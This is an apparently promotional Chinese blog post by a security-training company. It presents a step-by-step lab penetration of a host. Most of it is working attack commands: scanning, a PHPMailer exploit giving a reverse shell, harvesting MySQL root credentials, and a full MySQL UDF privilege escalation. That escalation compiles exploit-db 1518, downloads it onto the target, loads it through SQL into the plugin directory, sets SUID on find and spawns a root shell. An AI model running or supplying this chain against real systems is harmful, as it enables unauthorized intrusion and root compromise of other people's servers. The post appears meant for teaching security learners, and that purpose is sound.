黑客渗透网站实战mysql提权操作,你明白吗???
wptr33 2024-12-29 06:24 29 浏览
1、Mysql提权简介
我们都知道网站所用脚本之间的不同权限也就大概的可以看出来,jsp 的默认权限一般都是 system 权限,而 aspx 的一般来说都高于 user 权限,一般来说。asp 和 PHP 的权限差不多,Pl ,cgi ,py 的权限一般和 Aspx 的差不多,MySQL 数据库提权之前,也就是最重要的一点,我们要知道 root 账号和密码,这个也就是最重要的,因为他有写入权限啊!!!
一般获取 root 账号密码主要分为 这几个突破口 : 数据库配置文件、端口破解口令、下载数据库文件获取等
。
2、mysql实战提权操作
1)、首先,我们如果拿到目标站,第一步可以通过masscan工具扫描目标主机的80端口,探测到存活机器,命令和数据如下:
masscan 192.168.42.0/24 -p80
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-11 09:17:21 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 256 hosts [1 port/host]
Discovered open port 80/tcp on 192.168.42.8
2)、接着我们就用nmap工具搜集探测一下漏洞,这里用到了nmap的脚本,数据和命令如下:
nmap -T5 -A 192.168.42.8 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 17:22 CST
Nmap scan report for 192.168.42.8
Host is up (0.00059s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.42.8
3)、接着基本的操作就是我们的目录扫描,我们这里可以用到常见的御剑扫描工具。看看有没有什么敏感的信息和文件
通过目录扫描,我们发现了目录遍历漏洞,根据我们黑客渗透的经验,我们可以从中查看一些敏感的信息和重要文件,对我们后面的黑客渗透给予很大的帮助
在查看目录的时候,通过看这个dist文件,我们得知看见目标网站是PHPMailer的程序,通过找其中的信息,发现是5.2.16版本的
那么我们就可以在百度搜索一下相关的漏洞,也可以通过Kali Linux渗透系统这里就通过searchsploit 工具搜索到相关漏洞的漏洞攻击脚本
执行searchsploit 命令:searchsploit PHPMailer搜索出相关的漏洞exp
由于exp是python编写的,我们这里要安装一下相关的python库
执行命令:pip install requests-toolbelt安装requests-toolbelt库
4)、经过exp成功反弹拿到shell
执行命令python -c 'import pty;pty.spawn("/bin/bash")'添加python伪终端,可以看到权限为www权限,那么这里我们就需要去进行一方面的提权提升
通过翻php的配置文件,看到了mysql的账号密码
查看一下相关的启动,发现mysql是以root启动
我们可以打开mysql查看版本
5)、下载提权exp在kali上面,编译在kali上编译
执行wget https://www.exploit-db.com/download/1518 下载提权的exp代码
接着执行gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
得到1518.so文件
然后在kali上创建临时服务,执行命令python -m SimpleHTTPServer 8081开启一个http
我们接着在靶机上执行先切换到/tmp目录下
执行命令wget http://192.168.42.4:8081/1518.so 下载好我们刚才编译好的exp
下载完成
下载完了我们就再次登录数据库执行以下命令
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
find ./ -exec "/bin/sh" \;
最后可以看见,提权成功。
为什么选择安界网?
安界网贯彻人才培养理念,结合专业研发团队,打造课程内容体系,推进实训平台发展,通过一站式成长计划、推荐就业以及陪护指导的师带徒服务,为学员的继续学习和职业发展保驾护航,真正实现和完善网络安全精英的教练场平台;
关注私信‘资料’
如果你想实现进高企、就高职、拿高薪,即使低学历也可实现职业发展中的第一个“弯道超车”!安界网就是你唯一选择,赶紧私信我!等你来!
点击关注我的头条号,0基础掌握更多黑客秘籍
私信回复‘’资料‘’领取更多技术文章和学习资料,加入专属的安全学习圈一起进步
相关推荐
- [常用工具] git基础学习笔记_git工具有哪些
-
添加推送信息,-m=messagegitcommit-m“添加注释”查看状态...
- centos7安装部署gitlab_centos7安装git服务器
-
一、Gitlab介1.1gitlab信息GitLab是利用RubyonRails一个开源的版本管理系统,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。...
- 太高效了!玩了这么久的Linux,居然不知道这7个终端快捷键
-
作为Linux用户,大家肯定在Linux终端下敲过无数的命令。有的命令很短,比如:ls、cd、pwd之类,这种命令大家毫无压力。但是,有些命令就比较长了,比如:...
- 提高开发速度还能保证质量的10个小窍门
-
养成坏习惯真是分分钟的事儿,而养成好习惯却很难。我发现,把那些对我有用的习惯写下来,能让我坚持住已经花心思养成的好习惯。...
- 版本管理最好用的工具,你懂多少?
-
版本控制(Revisioncontrol)是一种在开发的过程中用于管理我们对文件、目录或工程等内容的修改历史,方便查看更改历史记录,备份以便恢复以前的版本的软件工程技术。...
- Git回退到某个版本_git回退到某个版本详细步骤
-
在开发过程,有时会遇到合并代码或者合并主分支代码导致自己分支代码冲突等问题,这时我们需要回退到某个commit_id版本1,查看所有历史版本,获取git的某个历史版本id...
- Kubernetes + Jenkins + Harbor 全景实战手册
-
Kubernetes+Jenkins+Harbor全景实战手册在现代企业级DevOps体系中,Kubernetes(K8s)、Jenkins和Harbor组成的CI/CD流水...
- git常用命令整理_git常见命令
-
一、Git仓库完整迁移完整迁移,就是指,不仅将所有代码移植到新的仓库,而且要保留所有的commit记录1.随便找个文件夹,从原地址克隆一份裸版本库...
- 第三章:Git分支管理(多人协作基础)
-
3.1分支基本概念分支是Git最强大的功能之一,它允许你在主线之外创建独立的开发线路,互不干扰。理解分支的工作原理是掌握Git的关键。核心概念:HEAD:指向当前分支的指针...
- 云效Codeup怎么创建分支并进行分支管理
-
云效Codeup怎么创建分支并进行分支管理,分支是为了将修改记录分叉备份保存,不受其他分支的影响,所以在同一个代码库里可以同时进行多个修改。创建仓库时,会自动创建Master分支作为默认分支,后续...
- git 如何删除本地和远程分支?_git怎么删除远程仓库
-
Git分支对于开发人员来说是一项强大的功能,但要维护干净的存储库,就需要知道如何删除过时的分支。本指南涵盖了您需要了解的有关本地和远程删除Git分支的所有信息。了解Git分支...
- git 实现一份代码push到两个git地址上
-
一直以来想把自己的博客代码托管到github和coding上想一次更改一次push两个地址一起更新今天有空查资料实践了下本博客的github地址coding的git地址如果是Gi...
- git操作:cherry-pick和rebase_git cherry-pick bad object
-
在编码中经常涉及到分支之间的代码同步问题,那就需要cherry-pick和rebase命令问题:如何将某个分支的多个commit合并到另一个分支,并在另一个分支只保留一个commit记录解答:假设有两...
- 模型文件硬塞进 Git,GitHub 直接打回原形:使用Git-LFS管理大文件
-
前言最近接手了一个计算机视觉项目代码是屎山就不说了,反正我也不看代码主要就是构建一下docker镜像,测试一下部署的兼容性这本来不难但是,国内服务器的网络环境实在是恶劣,需要配置各种镜像(dock...
- 防弹少年团田柾国《Euphoria》2周年 获世界实时趋势榜1位 恭喜呀
-
当天韩国时间凌晨3时左右,该曲在Twitter上以“2YearsWithEuphoria”的HashTag登上了世界趋势1位。在韩国推特实时趋势中,从上午开始到现在“Euphoria2岁”的Has...
- 一周热门
-
-
C# 13 和 .NET 9 全知道 :13 使用 ASP.NET Core 构建网站 (1)
-
程序员的开源月刊《HelloGitHub》第 71 期
-
详细介绍一下Redis的Watch机制,可以利用Watch机制来做什么?
-
假如有100W个用户抢一张票,除了负载均衡办法,怎么支持高并发?
-
Java面试必考问题:什么是乐观锁与悲观锁
-
如何将AI助手接入微信(打开ai手机助手)
-
SparkSQL——DataFrame的创建与使用
-
redission YYDS spring boot redission 使用
-
一文带你了解Redis与Memcached? redis与memcached的区别
-
如何利用Redis进行事务处理呢? 如何利用redis进行事务处理呢英文
-
- 最近发表
- 标签列表
-
- git pull (33)
- git fetch (35)
- mysql insert (35)
- mysql distinct (37)
- concat_ws (36)
- java continue (36)
- jenkins官网 (37)
- mysql 子查询 (37)
- python元组 (33)
- mybatis 分页 (35)
- vba split (37)
- redis watch (34)
- python list sort (37)
- nvarchar2 (34)
- mysql not null (36)
- hmset (35)
- python telnet (35)
- python readlines() 方法 (36)
- munmap (35)
- docker network create (35)
- redis 集合 (37)
- python sftp (37)
- setpriority (34)
- c语言 switch (34)
- git commit (34)